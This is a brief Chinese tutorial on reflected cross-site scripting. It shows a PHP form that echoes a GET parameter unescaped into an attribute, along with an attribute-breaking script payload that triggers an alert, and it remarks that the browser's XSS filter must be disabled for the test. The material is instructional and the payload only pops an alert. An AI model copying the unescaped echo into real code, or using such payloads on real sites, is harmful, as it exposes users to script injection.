模拟XSS跨站攻击
假设场景:
在入库和出库时均不作处理时 会被利用触发
2.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSS跨站攻击</title>
</head>
<body>
<form>
<input type="text" name="foo" value='<?php echo $_GET['foo']; ?>'>
<input type="submit" width="200px"></input>
</form>
</body>
</html>
// 输入
'><script type='text/javascript'>alert('XSS攻击');</script><a b='
结果:
可能会攻击失败,执行失败是因为浏览器开启了自己的xss filter,测试需要关闭